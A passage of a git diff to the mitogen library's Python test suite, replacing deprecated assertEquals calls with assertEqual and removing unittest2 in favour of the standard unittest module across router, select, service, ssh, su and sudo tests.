max_message_size=64*1024) remote = router.local() size = remote.call(return_router_max_message_size) - self.assertEquals(size, 64*1024) + self.assertEqual(size, 64*1024) def test_remote_of_remote_configured(self): router = self.klass(broker=self.broker, max_message_size=64*1024) remote = router.local() remote2 = router.local(via=remote) size = remote2.call(return_router_max_message_size) - self.assertEquals(size, 64*1024) + self.assertEqual(size, 64*1024) def test_remote_exceeded(self): # Ensure new contexts receive a router with the same value. @@ -338,14 +335,14 @@ class NoRouteTest(testlib.RouterMixin, testlib.TestCase): l1 = self.router.local() recv = l1.send_async(mitogen.core.Message(handle=999)) msg = recv.get(throw_dead=False) - self.assertEquals(msg.is_dead, True) - self.assertEquals(msg.src_id, l1.context_id) - self.assertEquals(msg.data, self.router.invalid_handle_msg.encode()) + self.assertEqual(msg.is_dead, True) + self.assertEqual(msg.src_id, l1.context_id) + self.assertEqual(msg.data, self.router.invalid_handle_msg.encode()) recv = l1.send_async(mitogen.core.Message(handle=999)) e = self.assertRaises(mitogen.core.ChannelError, lambda: recv.get()) - self.assertEquals(e.args[0], self.router.invalid_handle_msg) + self.assertEqual(e.args[0], self.router.invalid_handle_msg) def test_totally_invalid_context_returns_dead(self): recv = mitogen.core.Receiver(self.router) @@ -356,9 +353,9 @@ class NoRouteTest(testlib.RouterMixin, testlib.TestCase): ) self.router.route(msg) rmsg = recv.get(throw_dead=False) - self.assertEquals(rmsg.is_dead, True) - self.assertEquals(rmsg.src_id, mitogen.context_id) - self.assertEquals(rmsg.data, (self.router.no_route_msg % ( + self.assertEqual(rmsg.is_dead, True) + self.assertEqual(rmsg.src_id, mitogen.context_id) + self.assertEqual(rmsg.data, (self.router.no_route_msg % ( 1234, mitogen.context_id, )).encode()) @@ -366,7 +363,7 @@ class NoRouteTest(testlib.RouterMixin, testlib.TestCase): self.router.route(msg) e = self.assertRaises(mitogen.core.ChannelError, lambda: recv.get()) - self.assertEquals(e.args[0], (self.router.no_route_msg % ( + self.assertEqual(e.args[0], (self.router.no_route_msg % ( 1234, mitogen.context_id, ))) @@ -382,9 +379,9 @@ class NoRouteTest(testlib.RouterMixin, testlib.TestCase): ) self.router.route(msg) rmsg = recv.get(throw_dead=False) - self.assertEquals(rmsg.is_dead, True) - self.assertEquals(rmsg.src_id, mitogen.context_id) - self.assertEquals(rmsg.data, (self.router.no_route_msg % ( + self.assertEqual(rmsg.is_dead, True) + self.assertEqual(rmsg.src_id, mitogen.context_id) + self.assertEqual(rmsg.data, (self.router.no_route_msg % ( l1.context_id, mitogen.context_id, )).encode()) @@ -392,7 +389,7 @@ class NoRouteTest(testlib.RouterMixin, testlib.TestCase): self.router.route(msg) e = self.assertRaises(mitogen.core.ChannelError, lambda: recv.get()) - self.assertEquals(e.args[0], self.router.no_route_msg % ( + self.assertEqual(e.args[0], self.router.no_route_msg % ( l1.context_id, mitogen.context_id, )) @@ -467,7 +464,7 @@ class EgressIdsTest(testlib.RouterMixin, testlib.TestCase): # causes messages to be sent. pass - self.assertEquals(c1s.protocol.egress_ids, set([ + self.assertEqual(c1s.protocol.egress_ids, set([ mitogen.context_id, c2.context_id, ])) @@ -498,11 +495,11 @@ class ShutdownTest(testlib.RouterMixin, testlib.TestCase): e = self.assertRaises(OSError, lambda: os.waitpid(pid, 0)) - self.assertEquals(e.args[0], errno.ECHILD) + self.assertEqual(e.args[0], errno.ECHILD) e = self.assertRaises(mitogen.core.ChannelError, lambda: l1.call(os.getpid)) - self.assertEquals(e.args[0], mitogen.core.Router.no_route_msg % ( + self.assertEqual(e.args[0], mitogen.core.Router.no_route_msg % ( l1.context_id, mitogen.context_id, )) @@ -520,11 +517,11 @@ class ShutdownTest(testlib.RouterMixin, testlib.TestCase): e = self.assertRaises(OSError, lambda: os.waitpid(pid, 0)) - self.assertEquals(e.args[0], errno.ECHILD) + self.assertEqual(e.args[0], errno.ECHILD) e = self.assertRaises(mitogen.core.ChannelError, lambda: l1.call(os.getpid)) - self.assertEquals(e.args[0], mitogen.core.Router.no_route_msg % ( + self.assertEqual(e.args[0], mitogen.core.Router.no_route_msg % ( l1.context_id, mitogen.context_id, )) @@ -547,11 +544,11 @@ class ShutdownTest(testlib.RouterMixin, testlib.TestCase): e = self.assertRaises(OSError, lambda: os.waitpid(pid, 0)) - self.assertEquals(e.args[0], errno.ECHILD) + self.assertEqual(e.args[0], errno.ECHILD) e = self.assertRaises(mitogen.core.ChannelError, lambda: l1.call(os.getpid)) - self.assertEquals(e.args[0], mitogen.core.Router.no_route_msg % ( + self.assertEqual(e.args[0], mitogen.core.Router.no_route_msg % ( l1.context_id, mitogen.context_id, )) @@ -574,16 +571,12 @@ class ShutdownTest(testlib.RouterMixin, testlib.TestCase): for pid in pids: e = self.assertRaises(OSError, lambda: os.waitpid(pid, 0)) - self.assertEquals(e.args[0], errno.ECHILD) + self.assertEqual(e.args[0], errno.ECHILD) for ctx in l1, l2: e = self.assertRaises(mitogen.core.ChannelError, lambda: ctx.call(os.getpid)) - self.assertEquals(e.args[0], mitogen.core.Router.no_route_msg % ( + self.assertEqual(e.args[0], mitogen.core.Router.no_route_msg % ( ctx.context_id, mitogen.context_id, )) - - -if __name__ == '__main__': - unittest2.main() diff --git a/tests/select_test.py b/tests/select_test.py index 56e7e6cd..deaa37a6 100644 --- a/tests/select_test.py +++ b/tests/select_test.py @@ -1,6 +1,4 @@ - -import unittest2 - +import mitogen.core import mitogen.select import testlib @@ -18,7 +16,7 @@ class BoolTest(testlib.RouterMixin, testlib.TestCase): latch.put(123) self.assertTrue(select) - self.assertEquals(123, select.get()) + self.assertEqual(123, select.get()) self.assertFalse(select) def test_receiver(self): @@ -30,7 +28,7 @@ class BoolTest(testlib.RouterMixin, testlib.TestCase): recv._on_receive(mitogen.core.Message.pickled('123')) self.assertTrue(select) - self.assertEquals('123', select.get().unpickle()) + self.assertEqual('123', select.get().unpickle()) self.assertFalse(select) @@ -41,34 +39,34 @@ class AddTest(testlib.RouterMixin, testlib.TestCase): latch = mitogen.core.Latch() select = self.klass() select.add(latch) - self.assertEquals(1, len(select._receivers)) - self.assertEquals(latch, select._receivers[0]) - self.assertEquals(select._put, latch.notify) + self.assertEqual(1, len(select._receivers)) + self.assertEqual(latch, select._receivers[0]) + self.assertEqual(select._put, latch.notify) def test_receiver(self): recv = mitogen.core.Receiver(self.router) select = self.klass() select.add(recv) - self.assertEquals(1, len(select._receivers)) - self.assertEquals(recv, select._receivers[0]) - self.assertEquals(select._put, recv.notify) + self.assertEqual(1, len(select._receivers)) + self.assertEqual(recv, select._receivers[0]) + self.assertEqual(select._put, recv.notify) def test_channel(self): context = self.router.local() chan = mitogen.core.Channel(self.router, context, 1234) select = self.klass() select.add(chan) - self.assertEquals(1, len(select._receivers)) - self.assertEquals(chan, select._receivers[0]) - self.assertEquals(select._put, chan.notify) + self.assertEqual(1, len(select._receivers)) + self.assertEqual(chan, select._receivers[0]) + self.assertEqual(select._put, chan.notify) def test_subselect_empty(self): select = self.klass() subselect = self.klass() select.add(subselect) - self.assertEquals(1, len(select._receivers)) - self.assertEquals(subselect, select._receivers[0]) - self.assertEquals(select._put, subselect.notify) + self.assertEqual(1, len(select._receivers)) + self.assertEqual(subselect, select._receivers[0]) + self.assertEqual(select._put, subselect.notify) def test_subselect_nonempty(self): recv = mitogen.core.Receiver(self.router) @@ -77,15 +75,15 @@ class AddTest(testlib.RouterMixin, testlib.TestCase): subselect.add(recv) select.add(subselect) - self.assertEquals(1, len(select._receivers)) - self.assertEquals(subselect, select._receivers[0]) - self.assertEquals(select._put, subselect.notify) + self.assertEqual(1, len(select._receivers)) + self.assertEqual(subselect, select._receivers[0]) + self.assertEqual(select._put, subselect.notify) def test_subselect_loop_direct(self): select = self.klass() exc = self.assertRaises(mitogen.select.Error, lambda: select.add(select)) - self.assertEquals(str(exc), self.klass.loop_msg) + self.assertEqual(str(exc), self.klass.loop_msg) def test_subselect_loop_indirect(self): s0 = self.klass() @@ -96,7 +94,7 @@ class AddTest(testlib.RouterMixin, testlib.TestCase): s1.add(s2) exc = self.assertRaises(mitogen.select.Error, lambda: s2.add(s0)) - self.assertEquals(str(exc), self.klass.loop_msg) + self.assertEqual(str(exc), self.klass.loop_msg) def test_double_add_receiver(self): select = self.klass() @@ -104,7 +102,7 @@ class AddTest(testlib.RouterMixin, testlib.TestCase): select.add(recv) exc = self.assertRaises(mitogen.select.Error, lambda: select.add(recv)) - self.assertEquals(str(exc), self.klass.owned_msg) + self.assertEqual(str(exc), self.klass.owned_msg) def test_double_add_subselect(self): select = self.klass() @@ -112,7 +110,7 @@ class AddTest(testlib.RouterMixin, testlib.TestCase): select.add(select2) exc = self.assertRaises(mitogen.select.Error, lambda: select.add(select2)) - self.assertEquals(str(exc), self.klass.owned_msg) + self.assertEqual(str(exc), self.klass.owned_msg) class RemoveTest(testlib.RouterMixin, testlib.TestCase): @@ -123,7 +121,7 @@ class RemoveTest(testlib.RouterMixin, testlib.TestCase): recv = mitogen.core.Receiver(self.router) exc = self.assertRaises(mitogen.select.Error, lambda: select.remove(recv)) - self.assertEquals(str(exc), self.klass.not_present_msg) + self.assertEqual(str(exc), self.klass.not_present_msg) def test_receiver_absent(self): select = self.klass() @@ -132,22 +130,22 @@ class RemoveTest(testlib.RouterMixin, testlib.TestCase): select.add(recv2) exc = self.assertRaises(mitogen.select.Error, lambda: select.remove(recv)) - self.assertEquals(str(exc), self.klass.not_present_msg) + self.assertEqual(str(exc), self.klass.not_present_msg) def test_receiver_present(self): select = self.klass() recv = mitogen.core.Receiver(self.router) select.add(recv) select.remove(recv) - self.assertEquals(0, len(select._receivers)) - self.assertEquals(None, recv.notify) + self.assertEqual(0, len(select._receivers)) + self.assertEqual(None, recv.notify) def test_latch_empty(self): select = self.klass() latch = mitogen.core.Latch() exc = self.assertRaises(mitogen.select.Error, lambda: select.remove(latch)) - self.assertEquals(str(exc), self.klass.not_present_msg) + self.assertEqual(str(exc), self.klass.not_present_msg) def test_latch_absent(self): select = self.klass() @@ -156,15 +154,15 @@ class RemoveTest(testlib.RouterMixin, testlib.TestCase): select.add(latch2) exc = self.assertRaises(mitogen.select.Error, lambda: select.remove(latch)) - self.assertEquals(str(exc), self.klass.not_present_msg) + self.assertEqual(str(exc), self.klass.not_present_msg) def test_latch_present(self): select = self.klass() latch = mitogen.core.Latch() select.add(latch) select.remove(latch) - self.assertEquals(0, len(select._receivers)) - self.assertEquals(None, latch.notify) + self.assertEqual(0, len(select._receivers)) + self.assertEqual(None, latch.notify) class CloseTest(testlib.RouterMixin, testlib.TestCase): @@ -179,24 +177,24 @@ class CloseTest(testlib.RouterMixin, testlib.TestCase): latch = mitogen.core.Latch() select.add(latch) - self.assertEquals(1, len(select._receivers)) - self.assertEquals(select._put, latch.notify) + self.assertEqual(1, len(select._receivers)) + self.assertEqual(select._put, latch.notify) select.close() - self.assertEquals(0, len(select._receivers)) - self.assertEquals(None, latch.notify) + self.assertEqual(0, len(select._receivers)) + self.assertEqual(None, latch.notify) def test_one_receiver(self): select = self.klass() recv = mitogen.core.Receiver(self.router) select.add(recv) - self.assertEquals(1, len(select._receivers)) - self.assertEquals(select._put, recv.notify) + self.assertEqual(1, len(select._receivers)) + self.assertEqual(select._put, recv.notify) select.close() - self.assertEquals(0, len(select._receivers)) - self.assertEquals(None, recv.notify) + self.assertEqual(0, len(select._receivers)) + self.assertEqual(None, recv.notify) def test_one_subselect(self): select = self.klass() @@ -206,16 +204,16 @@ class CloseTest(testlib.RouterMixin, testlib.TestCase): recv = mitogen.core.Receiver(self.router) subselect.add(recv) - self.assertEquals(1, len(select._receivers)) - self.assertEquals(subselect._put, recv.notify) + self.assertEqual(1, len(select._receivers)) + self.assertEqual(subselect._put, recv.notify) select.close() - self.assertEquals(0, len(select._receivers)) - self.assertEquals(subselect._put, recv.notify) + self.assertEqual(0, len(select._receivers)) + self.assertEqual(subselect._put, recv.notify) subselect.close() - self.assertEquals(None, recv.notify) + self.assertEqual(None, recv.notify) class EmptyTest(testlib.RouterMixin, testlib.TestCase): @@ -265,20 +263,20 @@ class IterTest(testlib.RouterMixin, testlib.TestCase): def test_empty(self): select = self.klass() - self.assertEquals([], list(select)) + self.assertEqual([], list(select)) def test_nonempty_receiver(self): recv = mitogen.core.Receiver(self.router) select = self.klass([recv]) msg = mitogen.core.Message.pickled('123') recv._on_receive(msg) - self.assertEquals([msg], list(select)) + self.assertEqual([msg], list(select)) def test_nonempty_latch(self): latch = mitogen.core.Latch() select = self.klass([latch]) latch.put(123) - self.assertEquals([123], list(select)) + self.assertEqual([123], list(select)) class OneShotTest(testlib.RouterMixin, testlib.TestCase): @@ -290,9 +288,9 @@ class OneShotTest(testlib.RouterMixin, testlib.TestCase): msg = mitogen.core.Message.pickled('123') recv._on_receive(msg) msg_ = select.get() - self.assertEquals(msg, msg_) - self.assertEquals(0, len(select._receivers)) - self.assertEquals(None, recv.notify) + self.assertEqual(msg, msg_) + self.assertEqual(0, len(select._receivers)) + self.assertEqual(None, recv.notify) def test_false_receiver_persists_after_get(self): recv = mitogen.core.Receiver(self.router) @@ -300,28 +298,28 @@ class OneShotTest(testlib.RouterMixin, testlib.TestCase): msg = mitogen.core.Message.pickled('123') recv._on_receive(msg) - self.assertEquals(msg, select.get()) - self.assertEquals(1, len(select._receivers)) - self.assertEquals(recv, select._receivers[0]) - self.assertEquals(select._put, recv.notify) + self.assertEqual(msg, select.get()) + self.assertEqual(1, len(select._receivers)) + self.assertEqual(recv, select._receivers[0]) + self.assertEqual(select._put, recv.notify) def test_true_latch_removed_after_get(self): latch = mitogen.core.Latch() select = self.klass([latch]) latch.put(123) - self.assertEquals(123, select.get()) - self.assertEquals(0, len(select._receivers)) - self.assertEquals(None, latch.notify) + self.assertEqual(123, select.get()) + self.assertEqual(0, len(select._receivers)) + self.assertEqual(None, latch.notify) def test_false_latch_persists_after_get(self): latch = mitogen.core.Latch() select = self.klass([latch], oneshot=False) latch.put(123) - self.assertEquals(123, select.get()) - self.assertEquals(1, len(select._receivers)) - self.assertEquals(latch, select._receivers[0]) - self.assertEquals(select._put, latch.notify) + self.assertEqual(123, select.get()) + self.assertEqual(1, len(select._receivers)) + self.assertEqual(latch, select._receivers[0]) + self.assertEqual(select._put, latch.notify) class GetReceiverTest(testlib.RouterMixin, testlib.TestCase): @@ -331,13 +329,13 @@ class GetReceiverTest(testlib.RouterMixin, testlib.TestCase): select = self.klass() exc = self.assertRaises(mitogen.select.Error, lambda: select.get()) - self.assertEquals(str(exc), self.klass.empty_msg) + self.assertEqual(str(exc), self.klass.empty_msg) def test_timeout_no_receivers(self): select = self.klass() exc = self.assertRaises(mitogen.select.Error, lambda: select.get(timeout=1.0)) - self.assertEquals(str(exc), self.klass.empty_msg) + self.assertEqual(str(exc), self.klass.empty_msg) def test_zero_timeout(self): recv = mitogen.core.Receiver(self.router) @@ -356,7 +354,7 @@ class GetReceiverTest(testlib.RouterMixin, testlib.TestCase): recv._on_receive(mitogen.core.Message.pickled('123')) select = self.klass([recv]) msg = select.get() - self.assertEquals('123', msg.unpickle()) + self.assertEqual('123', msg.unpickle()) def test_nonempty_multiple_items_before_add(self): recv = mitogen.core.Receiver(self.router) @@ -364,9 +362,9 @@ class GetReceiverTest(testlib.RouterMixin, testlib.TestCase): recv._on_receive(mitogen.core.Message.pickled('234')) select = self.klass([recv], oneshot=False) msg = select.get() - self.assertEquals('123', msg.unpickle()) + self.assertEqual('123', msg.unpickle()) msg = select.get() - self.assertEquals('234', msg.unpickle()) + self.assertEqual('234', msg.unpickle()) self.assertRaises(mitogen.core.TimeoutError, lambda: select.get(block=False)) @@ -375,21 +373,21 @@ class GetReceiverTest(testlib.RouterMixin, testlib.TestCase): select = self.klass([recv]) recv._on_receive(mitogen.core.Message.pickled('123')) msg = select.get() - self.assertEquals('123', msg.unpickle()) + self.assertEqual('123', msg.unpickle()) def test_nonempty_receiver_attr_set(self): recv = mitogen.core.Receiver(self.router) select = self.klass([recv]) recv._on_receive(mitogen.core.Message.pickled('123')) msg = select.get() - self.assertEquals(msg.receiver, recv) + self.assertEqual(msg.receiver, recv) def test_drained_by_other_thread(self): recv = mitogen.core.Receiver(self.router) recv._on_receive(mitogen.core.Message.pickled('123')) select = self.klass([recv]) msg = recv.get() - self.assertEquals('123', msg.unpickle()) + self.assertEqual('123', msg.unpickle()) self.assertRaises(mitogen.core.TimeoutError, lambda: select.get(timeout=0.0)) @@ -401,13 +399,13 @@ class GetLatchTest(testlib.RouterMixin, testlib.TestCase): select = self.klass() exc = self.assertRaises(mitogen.select.Error, lambda: select.get()) - self.assertEquals(str(exc), self.klass.empty_msg) + self.assertEqual(str(exc), self.klass.empty_msg) def test_timeout_no_receivers(self): select = self.klass() exc = self.assertRaises(mitogen.select.Error, lambda: select.get(timeout=1.0)) - self.assertEquals(str(exc), self.klass.empty_msg) + self.assertEqual(str(exc), self.klass.empty_msg) def test_zero_timeout(self): latch = mitogen.core.Latch() @@ -425,15 +423,15 @@ class GetLatchTest(testlib.RouterMixin, testlib.TestCase): latch = mitogen.core.Latch() latch.put(123) select = self.klass([latch]) - self.assertEquals(123, select.get()) + self.assertEqual(123, select.get()) def test_nonempty_multiple_items_before_add(self): latch = mitogen.core.Latch() latch.put(123) latch.put(234) select = self.klass([latch], oneshot=False) - self.assertEquals(123, select.get()) - self.assertEquals(234, select.get()) + self.assertEqual(123, select.get()) + self.assertEqual(234, select.get()) self.assertRaises(mitogen.core.TimeoutError, lambda: select.get(block=False)) @@ -441,13 +439,13 @@ class GetLatchTest(testlib.RouterMixin, testlib.TestCase): latch = mitogen.core.Latch() select = self.klass([latch]) latch.put(123) - self.assertEquals(123, latch.get()) + self.assertEqual(123, latch.get()) def test_drained_by_other_thread(self): latch = mitogen.core.Latch() latch.put(123) select = self.klass([latch]) - self.assertEquals(123, latch.get()) + self.assertEqual(123, latch.get()) self.assertRaises(mitogen.core.TimeoutError, lambda: select.get(timeout=0.0)) @@ -459,24 +457,20 @@ class GetEventTest(testlib.RouterMixin, testlib.TestCase): select = self.klass() exc = self.assertRaises(mitogen.select.Error, lambda: select.get()) - self.assertEquals(str(exc), self.klass.empty_msg) + self.assertEqual(str(exc), self.klass.empty_msg) def test_latch(self): latch = mitogen.core.Latch() latch.put(123) select = self.klass([latch]) event = select.get_event() - self.assertEquals(latch, event.source) - self.assertEquals(123, event.data) + self.assertEqual(latch, event.source) + self.assertEqual(123, event.data) def test_receiver(self): recv = mitogen.core.Receiver(self.router) recv._on_receive(mitogen.core.Message.pickled('123')) select = self.klass([recv]) event = select.get_event() - self.assertEquals(recv, event.source) - self.assertEquals('123', event.data.unpickle()) - - -if __name__ == '__main__': - unittest2.main() + self.assertEqual(recv, event.source) + self.assertEqual('123', event.data.unpickle()) diff --git a/tests/service_test.py b/tests/service_test.py index a3e75e14..5d08bb47 100644 --- a/tests/service_test.py +++ b/tests/service_test.py @@ -1,5 +1,3 @@ -import unittest2 - import mitogen.core import mitogen.service import testlib @@ -45,7 +43,7 @@ def call_service_in(context, service_name, method_name): class CallTest(testlib.RouterMixin, testlib.TestCase): def test_local(self): pool = mitogen.service.get_or_create_pool(router=self.router) - self.assertEquals( + self.assertEqual( 'privileged!', mitogen.service.call(MyService, 'privileged_op') ) @@ -65,7 +63,7 @@ class CallTest(testlib.RouterMixin, testlib.TestCase): def test_local_unicode(self): pool = mitogen.service.get_or_create_pool(router=self.router) - self.assertEquals( + self.assertEqual( 'privileged!', mitogen.service.call(MyService.name(), 'privileged_op') ) @@ -73,7 +71,7 @@ class CallTest(testlib.RouterMixin, testlib.TestCase): def test_remote(self): c1 = self.router.local() - self.assertEquals( + self.assertEqual( 'privileged!', mitogen.service.call(MyService, 'privileged_op', call_context=c1) @@ -84,7 +82,7 @@ class ActivationTest(testlib.RouterMixin, testlib.TestCase): def test_parent_can_activate(self): l1 = self.router.local() counter, id_ = l1.call_service(MyService, 'get_id') - self.assertEquals(1, counter) + self.assertEqual(1, counter) self.assertTrue(isinstance(id_, int)) def test_sibling_cannot_activate_framework(self): @@ -112,9 +110,9 @@ class ActivationTest(testlib.RouterMixin, testlib.TestCase): l1 = self.router.local() counter, id_ = l1.call_service(MyService, 'get_id') counter2, id_2 = l1.call_service(MyService, 'get_id') - self.assertEquals(1, counter) - self.assertEquals(2, counter2) - self.assertEquals(id_, id_2) + self.assertEqual(1, counter) + self.assertEqual(2, counter2) + self.assertEqual(id_, id_2) class PermissionTest(testlib.RouterMixin, testlib.TestCase): @@ -122,7 +120,7 @@ class PermissionTest(testlib.RouterMixin, testlib.TestCase): l1 = self.router.local() l1.call_service(MyService, 'get_id') l2 = self.router.local() - self.assertEquals('unprivileged!', + self.assertEqual('unprivileged!', l2.call(call_service_in, l1, MyService.name(), 'unprivileged_op')) def test_sibling_privileged_bad(self): @@ -149,12 +147,8 @@ class CloseTest(testlib.RouterMixin, testlib.TestCase): def test_receiver_closed(self): pool = self.klass(router=self.router, services=[]) pool.stop() - self.assertEquals(None, pool._receiver.handle) + self.assertEqual(None, pool._receiver.handle) e = self.assertRaises(mitogen.core.ChannelError, lambda: self.router.myself().call_service(MyService, 'foobar')) - self.assertEquals(e.args[0], self.router.invalid_handle_msg) - - -if __name__ == '__main__': - unittest2.main() + self.assertEqual(e.args[0], self.router.invalid_handle_msg) diff --git a/tests/setns_test.py b/tests/setns_test.py index 6b432d40..b0161ef8 100644 --- a/tests/setns_test.py +++ b/tests/setns_test.py @@ -1,12 +1,8 @@ - -import os import socket import sys +import unittest -import mitogen -import mitogen.parent - -import unittest2 +import mitogen.core import testlib @@ -18,7 +14,7 @@ import testlib # try: # root = self.router.sudo() # except mitogen.core.StreamError: -# raise unittest2.SkipTest("requires sudo to localhost root") +# raise unittest.SkipTest("requires sudo to localhost root") # via_ssh = self.docker_ssh( # username='mitogen__has_sudo', @@ -31,17 +27,13 @@ import testlib # via=root, # ) -# self.assertEquals( +# self.assertEqual( # via_ssh.call(socket.gethostname), # via_setns.call(socket.gethostname), # ) -# DockerTest = unittest2.skipIf( +# DockerTest = unittest.skipIf( # condition=sys.version_info < (2, 5), # reason="mitogen.setns unsupported on Python <2.4" # )(DockerTest) - - -# if __name__ == '__main__': -# unittest2.main() diff --git a/tests/signals_test.py b/tests/signals_test.py index 79b59e8a..bf842e20 100644 --- a/tests/signals_test.py +++ b/tests/signals_test.py @@ -1,6 +1,3 @@ - -import unittest2 - import testlib import mitogen.core @@ -17,7 +14,7 @@ class ListenFireTest(testlib.TestCase): lambda: latch.put('event fired')) mitogen.core.fire(thing, 'event') - self.assertEquals('event fired', latch.get()) + self.assertEqual('event fired', latch.get()) self.assertTrue(latch.empty()) def test_with_args(self): @@ -25,7 +22,7 @@ class ListenFireTest(testlib.TestCase): latch = mitogen.core.Latch() mitogen.core.listen(thing, 'event', latch.put) mitogen.core.fire(thing, 'event', 'event fired') - self.assertEquals('event fired', latch.get()) + self.assertEqual('event fired', latch.get()) self.assertTrue(latch.empty()) def test_two_listeners(self): @@ -35,11 +32,7 @@ class ListenFireTest(testlib.TestCase): mitogen.core.listen(thing, 'event', latch.put) mitogen.core.listen(thing, 'event', latch2.put) mitogen.core.fire(thing, 'event', 'event fired') - self.assertEquals('event fired', latch.get()) - self.assertEquals('event fired', latch2.get()) + self.assertEqual('event fired', latch.get()) + self.assertEqual('event fired', latch2.get()) self.assertTrue(latch.empty()) self.assertTrue(latch2.empty()) - - -if __name__ == '__main__': - unittest2.main() diff --git a/tests/soak/cpu_load.py b/tests/soak/cpu_load.py index 8890272c..cfc65896 100644 --- a/tests/soak/cpu_load.py +++ b/tests/soak/cpu_load.py @@ -7,7 +7,6 @@ weirdness. Useful for exposing otherwise difficult to hit races in the library. import ctypes import multiprocessing import os -import time LIBC = ctypes.CDLL('libc.so.6') sched_yield = LIBC.sched_yield @@ -25,7 +24,7 @@ def burn(): mul = 1.5 count = int(mul * multiprocessing.cpu_count()) -print count +print(count) procs = [multiprocessing.Process(target=burn) for _ in range(count)] diff --git a/tests/ssh_test.py b/tests/ssh_test.py index 273412e8..c1a0b9eb 100644 --- a/tests/ssh_test.py +++ b/tests/ssh_test.py @@ -1,13 +1,9 @@ import os -import sys import tempfile -import mitogen import mitogen.ssh import mitogen.utils -import unittest2 - import testlib import plain_old_module @@ -38,7 +34,7 @@ class ConstructorTest(testlib.RouterMixin, testlib.TestCase): ) #context.call(mitogen.utils.log_to_file, '/tmp/log') #context.call(mitogen.utils.disable_site_packages) - self.assertEquals(3, context.call(plain_old_module.add, 1, 2)) + self.assertEqual(3, context.call(plain_old_module.add, 1, 2)) class SshTest(testlib.DockerMixin, testlib.TestCase): @@ -75,7 +71,7 @@ class SshTest(testlib.DockerMixin, testlib.TestCase): self.dockerized_ssh.get_host(), self.dockerized_ssh.port, ) - self.assertEquals(name, context.name) + self.assertEqual(name, context.name) def test_via_stream_name(self): context = self.docker_ssh( @@ -88,7 +84,7 @@ class SshTest(testlib.DockerMixin, testlib.TestCase): self.dockerized_ssh.host, self.dockerized_ssh.port, ) - self.assertEquals(name, sudo.name) + self.assertEqual(name, sudo.name) def test_password_required(self): e = self.assertRaises(mitogen.ssh.PasswordError, @@ -147,7 +143,7 @@ class SshTest(testlib.DockerMixin, testlib.TestCase): check_host_keys='enforce', ) ) - self.assertEquals(e.args[0], mitogen.ssh.hostkey_failed_msg) + self.assertEqual(e.args[0], mitogen.ssh.hostkey_failed_msg) finally: fp.close() @@ -191,7 +187,7 @@ class BannerTest(testlib.DockerMixin, testlib.TestCase): self.dockerized_ssh.get_host(), self.dockerized_ssh.port, ) - self.assertEquals(name, context.name) + self.assertEqual(name, context.name) class StubPermissionDeniedTest(StubSshMixin, testlib.TestCase): @@ -208,23 +204,19 @@ class StubCheckHostKeysTest(StubSshMixin, testlib.TestCase): def test_check_host_keys_accept(self): # required=true, host_key_checking=accept context = self.stub_ssh(STUBSSH_MODE='ask', check_host_keys='accept') - self.assertEquals('1', context.call(os.getenv, 'STDERR_WAS_TTY')) + self.assertEqual('1', context.call(os.getenv, 'STDERR_WAS_TTY')) def test_check_host_keys_enforce(self): # required=false, host_key_checking=enforce context = self.stub_ssh(check_host_keys='enforce') - self.assertEquals(None, context.call(os.getenv, 'STDERR_WAS_TTY')) + self.assertEqual(None, context.call(os.getenv, 'STDERR_WAS_TTY')) def test_check_host_keys_ignore(self): # required=false, host_key_checking=ignore context = self.stub_ssh(check_host_keys='ignore') - self.assertEquals(None, context.call(os.getenv, 'STDERR_WAS_TTY')) + self.assertEqual(None, context.call(os.getenv, 'STDERR_WAS_TTY')) def test_password_present(self): # required=true, password is not None context = self.stub_ssh(check_host_keys='ignore', password='willick') - self.assertEquals('1', context.call(os.getenv, 'STDERR_WAS_TTY')) - - -if __name__ == '__main__': - unittest2.main() + self.assertEqual('1', context.call(os.getenv, 'STDERR_WAS_TTY')) diff --git a/tests/su_test.py b/tests/su_test.py index 320f9cef..d8952b53 100644 --- a/tests/su_test.py +++ b/tests/su_test.py @@ -1,11 +1,8 @@ - import os -import mitogen +import mitogen.core import mitogen.su -import unittest2 - import testlib @@ -22,8 +19,8 @@ class ConstructorTest(testlib.RouterMixin, testlib.TestCase): def test_basic(self): context, argv = self.run_su() - self.assertEquals(argv[1], 'root') - self.assertEquals(argv[2], '-c') + self.assertEqual(argv[1], 'root') + self.assertEqual(argv[2], '-c') class SuTest(testlib.DockerMixin, testlib.TestCase): @@ -66,8 +63,4 @@ class SuTest(testlib.DockerMixin, testlib.TestCase): password='has_sudo_password', ) context = self.router.su(via=ssh, password='rootpassword') - self.assertEquals(0, context.call(os.getuid)) - - -if __name__ == '__main__': - unittest2.main() + self.assertEqual(0, context.call(os.getuid)) diff --git a/tests/sudo_test.py b/tests/sudo_test.py index 7a6523e5..2df05ec7 100644 --- a/tests/sudo_test.py +++ b/tests/sudo_test.py @@ -1,11 +1,5 @@ - import os -import mitogen -import mitogen.sudo - -import unittest2 - import testlib @@ -23,7 +17,7 @@ class ConstructorTest(testlib.RouterMixin, testlib.TestCase): def test_basic(self): context, argv = self.run_sudo() - self.assertEquals(argv[:4], [ + self.assertEqual(argv[:4], [ self.sudo_path, '-u', 'root', '--' @@ -34,7 +28,7 @@ class ConstructorTest(testlib.RouterMixin, testlib.TestCase): selinux_type='setype', selinux_role='serole', ) - self.assertEquals(argv[:8], [ + self.assertEqual(argv[:8], [ self.sudo_path, '-u', 'root', '-r', 'serole', @@ -46,7 +40,7 @@ class ConstructorTest(testlib.RouterMixin, testlib.TestCase): context, argv = self.run_sudo( sudo_args=['--type', 'setype', '--role', 'serole', '--user', 'user'] ) - self.assertEquals(argv[:8], [ + self.assertEqual(argv[:8], [ self.sudo_path, '-u', 'user', '-r', 'serole', @@ -59,7 +53,7 @@ class ConstructorTest(testlib.RouterMixin, testlib.TestCase): os.environ['PREHISTORIC_SUDO'] = '1' try: context, argv = self.run_sudo() - self.assertEquals('1', context.call(os.getenv, 'PREHISTORIC_SUDO')) + self.assertEqual('1', context.call(os.getenv, 'PREHISTORIC_SUDO')) finally: del os.environ['PREHISTORIC_SUDO'] @@ -104,7 +98,3 @@ class ConstructorTest(testlib.RouterMixin, testlib.TestCase): # lambda: self.router.sudo(via=ssh, password='rootpassword') # ) # self.assertTrue(mitogen.sudo.password_incorrect_msg in str(e)) - - -if __name__ == '__main__': - unittest2.main() diff --git a/tests/testlib.py b/tests/testlib.py index ace8f0a2..8ab895c4 100644 --- a/tests/testlib.py +++ b/tests/testlib.py @@ -1,4 +1,4 @@ - +import errno import logging import os import random @@ -10,8 +10,9 @@ import sys import threading import time import traceback +import unittest -import unittest2 +import psutil import mitogen.core import mitogen.fork @@ -62,15 +63,6 @@ if faulthandler is not None: mitogen.core.LOG.propagate = True - -def get_fd_count(): - """ - Return the number of 